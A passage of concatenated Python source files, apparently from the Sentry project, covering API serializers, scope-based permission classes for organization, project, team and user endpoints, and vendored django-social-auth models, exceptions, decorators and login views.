            'logger': obj.logger or None,
            'level': LOG_LEVELS.get(obj.level, 'unknown'),
            'status': status_label,
            'statusDetails': status_details,
            'isPublic': obj.is_public,
            'project': {
                'name': obj.project.name,
                'slug': obj.project.slug,
            },
            'type': event_type,
            'metadata': metadata,
            'numComments': obj.num_comments,
            'assignedTo': attrs['assigned_to'],
            'isBookmarked': attrs['is_bookmarked'],
            'isSubscribed': attrs['is_subscribed'],
            'hasSeen': attrs['has_seen'],
            'annotations': attrs['annotations'],
        }


StatsPeriod = namedtuple('StatsPeriod', ('segments', 'interval'))


class StreamGroupSerializer(GroupSerializer):
    STATS_PERIOD_CHOICES = {
        '14d': StatsPeriod(14, timedelta(hours=24)),
        '24h': StatsPeriod(24, timedelta(hours=1)),
    }

    def __init__(self, stats_period=None):
        if stats_period is not None:
            assert stats_period in self.STATS_PERIOD_CHOICES

        self.stats_period = stats_period

    def get_attrs(self, item_list, user):
        attrs = super(StreamGroupSerializer, self).get_attrs(item_list, user)

        if self.stats_period:
            # we need to compute stats at 1d (1h resolution), and 14d
            group_ids = [g.id for g in item_list]

            segments, interval = self.STATS_PERIOD_CHOICES[self.stats_period]
            now = timezone.now()
            stats = tsdb.get_range(
                model=tsdb.models.group,
                keys=group_ids,
                end=now,
                start=now - ((segments - 1) * interval),
                rollup=int(interval.total_seconds()),
            )

            for item in item_list:
                attrs[item].update({
                    'stats': stats[item.id],
                })

        return attrs

    def serialize(self, obj, attrs, user):
        result = super(StreamGroupSerializer, self).serialize(obj, attrs, user)

        if self.stats_period:
            result['stats'] = {
                self.stats_period: attrs['stats'],
            }

        return result


class SharedGroupSerializer(GroupSerializer):
    def serialize(self, obj, attrs, user):
        result = super(SharedGroupSerializer, self).serialize(obj, attrs, user)
        del result['annotations']
        return result






from __future__ import absolute_import

import six

from datetime import datetime
from django.utils import timezone

from sentry.api.serializers import Serializer, register
from sentry.models import Event, EventError


@register(Event)
class EventSerializer(Serializer):
    _reserved_keys = frozenset([
        'sentry.interfaces.User', 'sdk', 'device',
        'contexts'
    ])

    def _get_entries(self, event, user, is_public=False):
        # XXX(dcramer): These are called entries for future-proofing
        interface_list = []
        for key, interface in six.iteritems(event.interfaces):
            # we treat user as a special contextual item
            if key in self._reserved_keys:
                continue

            data = interface.get_api_context(is_public=is_public)
            # data might not be returned for e.g. a public HTTP repr
            if not data:
                continue

            entry = {
                'data': data,
                'type': interface.get_alias(),
            }
            interface_list.append((interface, entry))
        interface_list.sort(key=lambda x: x[0].get_display_score(), reverse=True)

        return [i[1] for i in interface_list]

    def get_attrs(self, item_list, user, is_public=False):
        Event.objects.bind_nodes(item_list, 'data')

        results = {}
        for item in item_list:
            user_interface = item.interfaces.get('sentry.interfaces.User')
            # TODO(dcramer): convert to get_api_context
            if user_interface:
                user_data = user_interface.to_json()
            else:
                user_data = None

            contexts_interface = item.interfaces.get('contexts')
            if contexts_interface:
                contexts_data = contexts_interface.get_api_context()
            else:
                contexts_data = {}

            sdk_interface = item.interfaces.get('sdk')
            if sdk_interface:
                sdk_data = sdk_interface.get_api_context()
            else:
                sdk_data = None

            results[item] = {
                'entries': self._get_entries(item, user, is_public=is_public),
                'user': user_data,
                'contexts': contexts_data,
                'sdk': sdk_data,
            }
        return results

    def serialize(self, obj, attrs, user):
        errors = []
        error_set = set()
        for error in obj.data.get('errors', []):
            message = EventError.get_message(error)
            if message in error_set:
                continue
            error_set.add(message)
            error_result = {
                'type': error['type'],
                'message': message,
                'data': {
                    k: v for k, v in six.iteritems(error)
                    if k != 'type'
                },
            }
            errors.append(error_result)

        tags = sorted([
            {
                'key': k.split('sentry:', 1)[-1],
                'value': v
            } for k, v in obj.get_tags()
        ], key=lambda x: x['key'])

        received = obj.data.get('received')
        if received:
            # Sentry at one point attempted to record invalid types here.
            # Remove after June 2 2016
            try:
                received = datetime.utcfromtimestamp(received).replace(
                    tzinfo=timezone.utc,
                )
            except TypeError:
                received = None

        event_type = obj.data.get('type', 'default')
        metadata = obj.data.get('metadata') or {
            'title': obj.message_short,
        }

        # TODO(dcramer): move release serialization here
        d = {
            'id': six.text_type(obj.id),
            'groupID': six.text_type(obj.group.id),
            'eventID': six.text_type(obj.event_id),
            'size': obj.size,
            'entries': attrs['entries'],
            # See GH-3248
            'message': obj.get_legacy_message(),
            'user': attrs['user'],
            'contexts': attrs['contexts'],
            'sdk': attrs['sdk'],
            # TODO(dcramer): move into contexts['extra']
            'context': obj.data.get('extra', {}),
            'packages': obj.data.get('modules', {}),
            'type': event_type,
            'metadata': metadata,
            'tags': tags,
            'platform': obj.platform,
            'dateCreated': obj.datetime,
            'dateReceived': received,
            'errors': errors,
        }
        return d


class SharedEventSerializer(EventSerializer):
    def get_attrs(self, item_list, user):
        return super(SharedEventSerializer, self).get_attrs(
            item_list, user, is_public=True
        )

    def serialize(self, obj, attrs, user):
        result = super(SharedEventSerializer, self).serialize(obj, attrs, user)
        del result['context']
        del result['contexts']
        del result['user']
        del result['tags']
        result['entries'] = [
            e for e in result['entries']
            if e['type'] != 'breadcrumbs'
        ]
        return result






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import SavedSearch, SavedSearchUserDefault


@register(SavedSearch)
class SavedSearchSerializer(Serializer):
    def get_attrs(self, item_list, user):
        if user.is_authenticated():
            user_defaults = tuple(SavedSearchUserDefault.objects.filter(
                savedsearch__in=item_list,
                user=user,
            ).values_list('savedsearch', flat=True))
        else:
            user_defaults = ()

        attrs = {}
        for item in item_list:
            attrs[item] = {
                'isUserDefault': item.id in user_defaults,
            }
        return attrs

    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'name': obj.name,
            'query': obj.query,
            'isDefault': obj.is_default,
            'isUserDefault': attrs['isUserDefault'],
            'dateCreated': obj.date_added,
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import ReleaseFile


@register(ReleaseFile)
class ReleaseFileSerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'name': obj.name,
            'headers': obj.file.headers,
            'size': obj.file.size,
            'sha1': obj.file.checksum,
            'dateCreated': obj.file.timestamp,
        }






from __future__ import absolute_import

import six

from sentry.api.serializers import Serializer, register
from sentry.models import TagKey


@register(TagKey)
class TagKeySerializer(Serializer):
    def serialize(self, obj, attrs, user):
        return {
            'id': six.text_type(obj.id),
            'key': TagKey.get_standardized_key(obj.key),
            'name': obj.get_label(),
            'uniqueValues': obj.values_seen,
        }






from __future__ import absolute_import

from rest_framework import serializers


class MultipleChoiceField(serializers.WritableField):
    error_messages = {
        'invalid_choice': ('Select a valid choice. {value} is not one of '
                           'the available choices.'),
    }

    def from_native(self, data):
        if isinstance(data, list):
            for item in data:
                if item not in self.choices:
                    raise serializers.ValidationError(self.error_messages['invalid_choice'].format(
                        value=item,
                    ))
            return data
        raise serializers.ValidationError('Please provide a valid list.')

    def to_native(self, value):
        return value

    def __init__(self, choices=None, *args, **kwargs):
        self.choices = set(choices or ())
        super(MultipleChoiceField, self).__init__(*args, **kwargs)






from __future__ import absolute_import, print_function

import six

from rest_framework import serializers

from sentry.models import User
from sentry.utils.auth import find_users


class UserField(serializers.WritableField):
    def to_native(self, obj):
        return obj.username

    def from_native(self, data):
        if not data:
            return None

        if isinstance(data, six.integer_types) or data.isdigit():
            try:
                return User.objects.get(id=data)
            except User.DoesNotExist:
                pass

        try:
            return find_users(data)[0]
        except IndexError:
            raise serializers.ValidationError('Unable to find user')






from __future__ import absolute_import

from sentry.utils.imports import import_submodules

import_submodules(globals(), __name__, __path__)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.serializers import serialize, StreamGroupSerializer
from sentry.api.paginator import OffsetPaginator
from sentry.models import (
    Group, GroupStatus, OrganizationMemberTeam, Project, ProjectStatus
)

from .organizationmember import OrganizationMemberEndpoint

ERR_INVALID_STATS_PERIOD = "Invalid stats_period. Valid choices are '', '24h', and '14d'"


class OrganizationIssuesEndpoint(OrganizationMemberEndpoint):
    def get_queryset(self, request, organization, member, project_list):
        # Must return a 'sorty_by' selector for pagination that is a datetime
        return Group.objects.none()

    def get(self, request, organization, member):
        """
        Return a list of issues assigned to the given member.
        """
        stats_period = request.GET.get('statsPeriod')
        if stats_period not in (None, '', '24h', '14d'):
            return Response({"detail": ERR_INVALID_STATS_PERIOD}, status=400)
        elif stats_period is None:
            # default
            stats_period = '24h'
        elif stats_period == '':
            # disable stats
            stats_period = None

        project_list = Project.objects.filter(
            organization=organization,
            team__in=OrganizationMemberTeam.objects.filter(
                organizationmember=member,
            ).values('team')
        )

        queryset = self.get_queryset(request, organization, member, project_list)
        status = request.GET.get('status', 'unresolved')
        if status == 'unresolved':
            queryset = queryset.filter(
                status=GroupStatus.UNRESOLVED,
            )
        elif status:
            return Response({'status': 'Invalid status choice'}, status=400)

        # hide issues if the project is pending removal
        queryset = queryset.filter(
            project__status=ProjectStatus.VISIBLE,
        )

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='-sort_by',
            paginator_cls=OffsetPaginator,
            on_results=lambda x: self._on_results(request, x, stats_period),
        )

    def _on_results(self, request, results, stats_period):
        results = serialize(results, request.user, StreamGroupSerializer(
            stats_period=stats_period,
        ))

        if request.GET.get('status') == 'unresolved':
            results = [
                r for r in results
                if r['status'] == 'unresolved'
            ]

        return results






from __future__ import absolute_import

from sentry.auth import access
from sentry.api.base import Endpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.permissions import ScopedPermission
from sentry.models import Project, ProjectStatus
from sentry.models.apikey import ROOT_KEY


class ProjectPermission(ScopedPermission):
    scope_map = {
        'GET': ['project:read', 'project:write', 'project:delete'],
        'POST': ['project:write', 'project:delete'],
        'PUT': ['project:write', 'project:delete'],
        'DELETE': ['project:delete'],
    }

    def has_object_permission(self, request, view, project):
        if request.user and request.user.is_authenticated() and request.auth:
            request.access = access.from_request(
                request, project.organization, scopes=request.auth.get_scopes(),
            )

        elif request.auth:
            if request.auth is ROOT_KEY:
                return True
            return request.auth.organization_id == project.organization_id

        else:
            request.access = access.from_request(request, project.organization)

        allowed_scopes = set(self.scope_map.get(request.method, []))
        return any(
            request.access.has_team_scope(project.team, s)
            for s in allowed_scopes
        )


class ProjectReleasePermission(ProjectPermission):
    scope_map = {
        'GET': ['project:read', 'project:write', 'project:delete', 'project:releases'],
        'POST': ['project:write', 'project:delete', 'project:releases'],
        'PUT': ['project:write', 'project:delete', 'project:releases'],
        'DELETE': ['project:delete', 'project:releases'],
    }


class ProjectEventPermission(ProjectPermission):
    scope_map = {
        'GET': ['event:read', 'event:write', 'event:delete'],
        'POST': ['event:write', 'event:delete'],
        'PUT': ['event:write', 'event:delete'],
        'DELETE': ['event:delete'],
    }


class ProjectEndpoint(Endpoint):
    permission_classes = (ProjectPermission,)

    def convert_args(self, request, organization_slug, project_slug, *args, **kwargs):
        try:
            project = Project.objects.get_from_cache(
                organization__slug=organization_slug,
                slug=project_slug,
            )
        except Project.DoesNotExist:
            raise ResourceDoesNotExist

        if project.status != ProjectStatus.VISIBLE:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, project)

        kwargs['project'] = project
        return (args, kwargs)






from __future__ import absolute_import

from django.db.models import Q

from sentry.api.exceptions import ResourceDoesNotExist
from sentry.models import OrganizationMember

from .organization import OrganizationEndpoint


class OrganizationMemberEndpoint(OrganizationEndpoint):
    def convert_args(self, request, organization_slug, member_id='me', *args, **kwargs):
        args, kwargs = super(OrganizationMemberEndpoint, self).convert_args(
            request, organization_slug
        )

        try:
            kwargs['member'] = self._get_member(
                request, kwargs['organization'], member_id
            )
        except OrganizationMember.DoesNotExist:
            raise ResourceDoesNotExist

        return (args, kwargs)

    def _get_member(self, request, organization, member_id):
        if member_id == 'me':
            queryset = OrganizationMember.objects.filter(
                organization=organization,
                user__id=request.user.id,
                user__is_active=True,
            )
        else:
            queryset = OrganizationMember.objects.filter(
                Q(user__is_active=True) | Q(user__isnull=True),
                organization=organization,
                id=member_id,
            )
        return queryset.select_related('user').get()






from __future__ import absolute_import

from sentry.api.base import Endpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.permissions import ScopedPermission
from sentry.models import User
from sentry.models.apikey import ROOT_KEY


class UserPermission(ScopedPermission):
    def has_object_permission(self, request, view, user):
        if request.auth is ROOT_KEY:
            return True
        if request.user == user:
            return True
        if request.auth:
            return False
        if request.is_superuser():
            return True
        return False


class UserEndpoint(Endpoint):
    permission_classes = (UserPermission,)

    def convert_args(self, request, user_id, *args, **kwargs):
        try:
            if user_id == 'me':
                if not request.user.is_authenticated():
                    raise ResourceDoesNotExist
                user_id = request.user.id

            user = User.objects.get(
                id=user_id,
            )
        except User.DoesNotExist:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, user)

        kwargs['user'] = user
        return (args, kwargs)






from __future__ import absolute_import

from sentry.auth import access
from sentry.api.base import Endpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.permissions import ScopedPermission
from sentry.models import Organization, OrganizationStatus
from sentry.models.apikey import ROOT_KEY


class OrganizationPermission(ScopedPermission):
    scope_map = {
        'GET': ['org:read', 'org:write', 'org:delete'],
        'POST': ['org:write', 'org:delete'],
        'PUT': ['org:write', 'org:delete'],
        'DELETE': ['org:delete'],
    }

    def has_object_permission(self, request, view, organization):
        if request.user and request.user.is_authenticated() and request.auth:
            request.access = access.from_request(
                request, organization, scopes=request.auth.get_scopes(),
            )

        elif request.auth:
            if request.auth is ROOT_KEY:
                return True
            return request.auth.organization_id == organization.id

        else:
            request.access = access.from_request(request, organization)

        allowed_scopes = set(self.scope_map.get(request.method, []))
        return any(request.access.has_scope(s) for s in allowed_scopes)


class OrganizationEndpoint(Endpoint):
    permission_classes = (OrganizationPermission,)

    def convert_args(self, request, organization_slug, *args, **kwargs):
        try:
            organization = Organization.objects.get_from_cache(
                slug=organization_slug,
            )
        except Organization.DoesNotExist:
            raise ResourceDoesNotExist

        if organization.status != OrganizationStatus.VISIBLE:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, organization)

        kwargs['organization'] = organization
        return (args, kwargs)






from __future__ import absolute_import

from .group import *  # NOQA
from .organization import *  # NOQA
from .organizationissues import *  # NOQA
from .organizationmember import *  # NOQA
from .project import *  # NOQA
from .team import *  # NOQA






from __future__ import absolute_import

from sentry.auth import access
from sentry.api.base import Endpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.permissions import ScopedPermission
from sentry.models import Team, TeamStatus
from sentry.models.apikey import ROOT_KEY


class TeamPermission(ScopedPermission):
    scope_map = {
        'GET': ['team:read', 'team:write', 'team:delete'],
        'POST': ['team:write', 'team:delete'],
        'PUT': ['team:write', 'team:delete'],
        'DELETE': ['team:delete'],
    }

    def has_object_permission(self, request, view, team):
        if request.user and request.user.is_authenticated() and request.auth:
            request.access = access.from_request(
                request, team.organization, scopes=request.auth.get_scopes(),
            )

        elif request.auth:
            if request.auth is ROOT_KEY:
                return True
            return request.auth.organization_id == team.organization_id

        else:
            request.access = access.from_request(request, team.organization)

        allowed_scopes = set(self.scope_map.get(request.method, []))
        return any(
            request.access.has_team_scope(team, s)
            for s in allowed_scopes,
        )


class TeamEndpoint(Endpoint):
    permission_classes = (TeamPermission,)

    def convert_args(self, request, organization_slug, team_slug, *args, **kwargs):
        try:
            team = Team.objects.get(
                organization__slug=organization_slug,
                slug=team_slug,
            )
        except Team.DoesNotExist:
            raise ResourceDoesNotExist

        if team.status != TeamStatus.VISIBLE:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, team)

        kwargs['team'] = team
        return (args, kwargs)






from __future__ import absolute_import

import logging

from sentry.api.base import Endpoint
from sentry.api.bases.project import ProjectPermission
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.models import Group, get_group_with_redirect

logger = logging.getLogger(__name__)


class GroupPermission(ProjectPermission):
    scope_map = {
        'GET': ['event:read', 'event:write', 'event:delete'],
        'POST': ['event:write', 'event:delete'],
        'PUT': ['event:write', 'event:delete'],
        'DELETE': ['event:delete'],
    }

    def has_object_permission(self, request, view, group):
        return super(GroupPermission, self).has_object_permission(
            request, view, group.project)


class GroupEndpoint(Endpoint):
    permission_classes = (GroupPermission,)

    def convert_args(self, request, issue_id, *args, **kwargs):
        # TODO(tkaemming): Ideally, this would return a 302 response, rather
        # than just returning the data that is bound to the new group. (It
        # technically shouldn't be a 301, since the response could change again
        # as the result of another merge operation that occurs later. This
        # wouldn't break anything though -- it will just be a "permanent"
        # redirect to *another* permanent redirect.) This would require
        # rebuilding the URL in one of two ways: either by hacking it in with
        # string replacement, or making the endpoint aware of the URL pattern
        # that caused it to be dispatched, and reversing it with the correct
        # `issue_id` keyword argument.
        try:
            group, _ = get_group_with_redirect(
                issue_id,
                queryset=Group.objects.select_related('project'),
            )
        except Group.DoesNotExist:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, group)
        kwargs['group'] = group
        return (args, kwargs)






from __future__ import absolute_import






from __future__ import absolute_import

from django.utils.translation import ugettext


class SocialAuthBaseException(ValueError):
    """Base class for pipeline exceptions."""
    pass


class BackendError(SocialAuthBaseException):
    def __unicode__(self):
        return ugettext(u'Backend error: %s' % self.message)


class WrongBackend(BackendError):
    def __init__(self, backend_name):
        self.backend_name = backend_name

    def __unicode__(self):
        return ugettext(u'Incorrect authentication service "%s"') % \
            self.backend_name


class NotAllowedToDisconnect(SocialAuthBaseException):
    """User is not allowed to disconnect it's social account."""
    pass


class StopPipeline(SocialAuthBaseException):
    """Stop pipeline process exception.
    Raise this exception to stop the rest of the pipeline process.
    """
    def __unicode__(self):
        return ugettext(u'Stop pipeline')


class AuthException(SocialAuthBaseException):
    """Auth process exception."""
    def __init__(self, backend, *args, **kwargs):
        self.backend = backend
        super(AuthException, self).__init__(*args, **kwargs)


class AuthFailed(AuthException):
    """Auth process failed for some reason."""
    def __unicode__(self):
        if self.message == 'access_denied':
            return ugettext(u'Authentication process was cancelled')
        else:
            return ugettext(u'Authentication failed: %s') % \
                super(AuthFailed, self).__unicode__()


class AuthCanceled(AuthException):
    """Auth process was canceled by user."""
    def __unicode__(self):
        return ugettext(u'Authentication process canceled')


class AuthUnknownError(AuthException):
    """Unknown auth process error."""
    def __unicode__(self):
        err = u'An unknown error happened while authenticating %s'
        return ugettext(err) % super(AuthUnknownError, self).__unicode__()


class AuthTokenError(AuthException):
    """Auth token error."""
    def __unicode__(self):
        msg = super(AuthTokenError, self).__unicode__()
        return ugettext(u'Token error: %s') % msg


class AuthMissingParameter(AuthException):
    """Missing parameter needed to start or complete the process."""
    def __init__(self, backend, parameter, *args, **kwargs):
        self.parameter = parameter
        super(AuthMissingParameter, self).__init__(backend, *args, **kwargs)

    def __unicode__(self):
        return ugettext(u'Missing needed parameter %s') % self.parameter


class AuthStateMissing(AuthException):
    """State parameter is incorrect."""
    def __unicode__(self):
        return ugettext(u'Session value state missing.')


class AuthStateForbidden(AuthException):
    """State parameter is incorrect."""
    def __unicode__(self):
        return ugettext(u'Wrong state parameter given.')


class AuthAlreadyAssociated(AuthException):
    """A different user has already associated the target social account"""
    pass


class AuthTokenRevoked(AuthException):
    """User revoked the access_token in the provider."""
    def __unicode__(self):
        return ugettext(u'User revoke access to the token')






from __future__ import absolute_import

import time
import re
import six

from datetime import datetime, timedelta
from django.conf import settings
from django.db import models
from django.db.models.loading import get_model

from .fields import JSONField
from .utils import setting


AUTH_USER_MODEL = settings.AUTH_USER_MODEL

UID_LENGTH = setting('SOCIAL_AUTH_UID_LENGTH', 255)
NONCE_SERVER_URL_LENGTH = setting('SOCIAL_AUTH_NONCE_SERVER_URL_LENGTH', 255)
ASSOCIATION_SERVER_URL_LENGTH = setting(
    'SOCIAL_AUTH_ASSOCIATION_SERVER_URL_LENGTH',
    255
)
ASSOCIATION_HANDLE_LENGTH = setting(
    'SOCIAL_AUTH_ASSOCIATION_HANDLE_LENGTH',
    255
)

CLEAN_USERNAME_REGEX = re.compile(r'[^\w.@+-_]+', re.UNICODE)


class UserSocialAuth(models.Model):
    """Social Auth association model"""
    user = models.ForeignKey(AUTH_USER_MODEL, related_name='social_auth')
    provider = models.CharField(max_length=32)
    uid = models.CharField(max_length=UID_LENGTH)
    extra_data = JSONField(default='{}')

    class Meta:
        """Meta data"""
        unique_together = ('provider', 'uid')
        app_label = 'social_auth'

    def __unicode__(self):
        """Return associated user unicode representation"""
        return u'%s - %s' % (unicode(self.user), self.provider.title())

    def get_backend(self):
        # Make import here to avoid recursive imports :-/
        from social_auth.backends import get_backends
        return get_backends().get(self.provider)

    @property
    def tokens(self):
        """Return access_token stored in extra_data or None"""
        backend = self.get_backend()
        if backend:
            return backend.AUTH_BACKEND.tokens(self)
        else:
            return {}

    def revoke_token(self, drop_token=True):
        """Attempts to revoke permissions for provider."""
        if 'access_token' in self.tokens:
            success = self.get_backend().revoke_token(
                self.tokens['access_token'],
                self.uid
            )
            if success and drop_token:
                self.extra_data.pop('access_token', None)
                self.save()

    def refresh_token(self):
        refresh_token = self.extra_data.get('refresh_token')
        if refresh_token:
            backend = self.get_backend()
            if hasattr(backend, 'refresh_token'):
                response = backend.refresh_token(refresh_token)
                new_access_token = response.get('access_token')
                # We have not got a new access token, so don't lose the
                # existing one.
                if not new_access_token:
                    return
                self.extra_data['access_token'] = new_access_token
                # New refresh token might be given.
                new_refresh_token = response.get('refresh_token')
                if new_refresh_token:
                    self.extra_data['refresh_token'] = new_refresh_token
                self.save()

    def expiration_datetime(self):
        """Return provider session live seconds. Returns a timedelta ready to
        use with session.set_expiry().

        If provider returns a timestamp instead of session seconds to live, the
        timedelta is inferred from current time (using UTC timezone). None is
        returned if there's no value stored or it's invalid.
        """
        if self.extra_data and 'expires' in self.extra_data:
            try:
                expires = int(self.extra_data['expires'])
            except (ValueError, TypeError):
                return None

            now = datetime.utcnow()

            # Detect if expires is a timestamp
            if expires > time.mktime(now.timetuple()):
                # expires is a datetime
                return datetime.fromtimestamp(expires) - now
            else:
                # expires is a timedelta
                return timedelta(seconds=expires)

    @classmethod
    def clean_username(cls, value):
        return CLEAN_USERNAME_REGEX.sub('', value)

    @classmethod
    def allowed_to_disconnect(cls, user, backend_name, association_id=None):
        if association_id is not None:
            qs = cls.objects.exclude(id=association_id)
        else:
            qs = cls.objects.exclude(provider=backend_name)
        qs = qs.filter(user=user)

        if hasattr(user, 'has_usable_password'):
            valid_password = user.has_usable_password()
        else:
            valid_password = True

        return valid_password or qs.count() > 0

    @classmethod
    def user_username(cls, user):
        if hasattr(user, 'USERNAME_FIELD'):
            # Django 1.5 custom user model, 'username' is just for internal
            # use, doesn't imply that the model should have an username field
            field_name = user.USERNAME_FIELD
        else:
            field_name = 'username'
        return getattr(user, field_name)

    @classmethod
    def username_field(cls, values):
        user_model = cls.user_model()
        if hasattr(user_model, 'USERNAME_FIELD'):
            # Django 1.5 custom user model, 'username' is just for internal
            # use, doesn't imply that the model should have an username field
            values[user_model.USERNAME_FIELD] = values.pop('username')
        return values

    @classmethod
    def simple_user_exists(cls, *args, **kwargs):
        """
        Return True/False if a User instance exists with the given arguments.
        Arguments are directly passed to filter() manager method.
        TODO: consider how to ensure case-insensitive email matching
        """
        kwargs = cls.username_field(kwargs)
        return cls.user_model().objects.filter(*args, **kwargs).exists()

    @classmethod
    def create_user(cls, *args, **kwargs):
        kwargs = cls.username_field(kwargs)
        return cls.user_model().objects.create_user(*args, **kwargs)

    @classmethod
    def get_user(cls, pk):
        try:
            return cls.user_model().objects.get(pk=pk)
        except cls.user_model().DoesNotExist:
            return None

    @classmethod
    def get_user_by_email(cls, email):
        """Case insensitive search"""
        # Do case-insensitive match, since real-world email address is
        # case-insensitive.
        return cls.user_model().objects.get(email__iexact=email)

    @classmethod
    def resolve_user_or_id(cls, user_or_id):
        if isinstance(user_or_id, cls.user_model()):
            return user_or_id
        return cls.user_model().objects.get(pk=user_or_id)

    @classmethod
    def get_social_auth_for_user(cls, user):
        return user.social_auth.all()

    @classmethod
    def create_social_auth(cls, user, uid, provider):
        if not isinstance(uid, six.string_types):
            uid = str(uid)
        return cls.objects.create(user=user, uid=uid, provider=provider)

    @classmethod
    def get_social_auth(cls, provider, uid):
        try:
            return cls.objects.select_related('user').get(provider=provider,
                                                          uid=uid)
        except UserSocialAuth.DoesNotExist:
            return None

    @classmethod
    def username_max_length(cls):
        return cls._field_length('USERNAME_FIELD', 'username')

    @classmethod
    def email_max_length(cls):
        return cls._field_length('EMAIL_FIELD', 'email')

    @classmethod
    def _field_length(self, setting_name, default_name):
        model = UserSocialAuth.user_model()
        field_name = getattr(model, setting_name, default_name)
        return model._meta.get_field(field_name).max_length

    @classmethod
    def user_model(cls):
        return get_model(*AUTH_USER_MODEL.split('.'))






from __future__ import absolute_import

from django.contrib import admin

from social_auth.models import UserSocialAuth

_User = UserSocialAuth.user_model()

if hasattr(_User, 'USERNAME_FIELD'):
    username_field = _User.USERNAME_FIELD
elif hasattr(_User, 'username'):
    username_field = 'username'
else:
    username_field = None

fieldnames = ('first_name', 'last_name', 'email') + (username_field,)
all_names = _User._meta.get_all_field_names()
user_search_fields = ['user__' + name for name in fieldnames
                      if name in all_names]


class UserSocialAuthOption(admin.ModelAdmin):
    """Social Auth user options"""
    list_display = ('id', 'user', 'provider', 'uid')
    search_fields = user_search_fields
    list_filter = ('provider',)
    raw_id_fields = ('user',)
    list_select_related = True


admin.site.register(UserSocialAuth, UserSocialAuthOption)






from __future__ import absolute_import

from functools import wraps

from django.core.urlresolvers import reverse
from django.views.decorators.http import require_POST
from django.views.decorators.csrf import csrf_protect

from social_auth.backends import get_backend
from social_auth.exceptions import WrongBackend
from social_auth.utils import setting


def dsa_view(redirect_name=None):
    """Decorate djangos-social-auth views. Will check and retrieve backend
    or return HttpResponseServerError if backend is not found.

        redirect_name parameter is used to build redirect URL used by backend.
    """
    def dec(func):
        @wraps(func)
        def wrapper(request, backend, *args, **kwargs):
            if redirect_name:
                redirect = reverse(redirect_name, args=(backend,))
            else:
                redirect = request.path
            request.social_auth_backend = get_backend(backend, request,
                                                      redirect)
            if request.social_auth_backend is None:
                raise WrongBackend(backend)
            return func(request, request.social_auth_backend, *args, **kwargs)
        return wrapper
    return dec


def disconnect_view(func):
    @wraps(func)
    def wrapper(request, *args, **kwargs):
        return func(request, *args, **kwargs)

    if setting('SOCIAL_AUTH_FORCE_POST_DISCONNECT'):
        wrapper = require_POST(csrf_protect(wrapper))
    return wrapper






"""Views

Notes:
    * Some views are marked to avoid csrf tocken check because they rely
      on third party providers that (if using POST) won't be sending csrf
      token back.
"""
from __future__ import absolute_import

from sudo.utils import is_safe_url
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.auth import login, REDIRECT_FIELD_NAME
from django.contrib.auth.decorators import login_required
from django.contrib import messages
from django.views.decorators.csrf import csrf_exempt
from six.moves.urllib.parse import quote

from social_auth.utils import (
    setting, backend_setting, clean_partial_pipeline)
from social_auth.decorators import dsa_view, disconnect_view


DEFAULT_REDIRECT = setting('SOCIAL_AUTH_LOGIN_REDIRECT_URL',
                           setting('LOGIN_REDIRECT_URL'))
LOGIN_ERROR_URL = setting('LOGIN_ERROR_URL', setting('LOGIN_URL'))
PIPELINE_KEY = setting('SOCIAL_AUTH_PARTIAL_PIPELINE_KEY', 'partial_pipeline')


@dsa_view(setting('SOCIAL_AUTH_COMPLETE_URL_NAME', 'socialauth_associate_complete'))
def auth(request, backend):
    """Start authentication process"""
    return auth_process(request, backend)


@csrf_exempt
@dsa_view()
def complete(request, backend, *args, **kwargs):
    """Authentication complete view, override this view if transaction
    management doesn't suit your needs."""
    if request.user.is_authenticated():
        return associate_complete(request, backend, *args, **kwargs)
    else:
        return complete_process(request, backend, *args, **kwargs)


@login_required
def associate_complete(request, backend, *args, **kwargs):
    """Authentication complete process"""
    # pop redirect value before the session is trashed on login()
    redirect_value = request.session.get(REDIRECT_FIELD_NAME, '')
    user = auth_complete(request, backend, request.user, *args, **kwargs)

    if not user:
        url = backend_setting(backend, 'LOGIN_ERROR_URL', LOGIN_ERROR_URL)
    elif isinstance(user, HttpResponse):
        return user
    else:
        url = (
            redirect_value or
            backend_setting(backend, 'SOCIAL_AUTH_NEW_ASSOCIATION_REDIRECT_URL') or
            DEFAULT_REDIRECT
        )
    return HttpResponseRedirect(url)


@login_required
@dsa_view()
@disconnect_view
def disconnect(request, backend, association_id=None):
    """Disconnects given backend from current logged in user."""
    backend.disconnect(request.user, association_id)
    data = request.REQUEST
    if REDIRECT_FIELD_NAME in data:
        redirect = data[REDIRECT_FIELD_NAME]
        # NOTE: django-sudo's `is_safe_url` is much better at catching bad
        # redirections to different domains than social_auth's
        # `sanitize_redirect` call.
        if not is_safe_url(redirect, host=request.get_host()):
            redirect = DEFAULT_REDIRECT
    else:
        redirect = backend_setting(backend, 'SOCIAL_AUTH_DISCONNECT_REDIRECT_URL')
        if not redirect:
            redirect = DEFAULT_REDIRECT
    return HttpResponseRedirect(redirect)


def auth_process(request, backend):
    """Authenticate using social backend"""
    data = request.POST if request.method == 'POST' else request.GET

    # Save extra data into session.
    for field_name in setting('SOCIAL_AUTH_FIELDS_STORED_IN_SESSION', []):
        if field_name in data:
            request.session[field_name] = data[field_name]

    # Save any defined next value into session
    if REDIRECT_FIELD_NAME in data:
        # Check and sanitize a user-defined GET/POST next field value
        redirect = data[REDIRECT_FIELD_NAME]
        # NOTE: django-sudo's `is_safe_url` is much better at catching bad
        # redirections to different domains than social_auth's
        # `sanitize_redirect` call.
        if not is_safe_url(redirect, host=request.get_host()):
            redirect = DEFAULT_REDIRECT
        request.session[REDIRECT_FIELD_NAME] = redirect or DEFAULT_REDIRECT

    # Clean any partial pipeline info before starting the process
    clean_partial_pipeline(request)

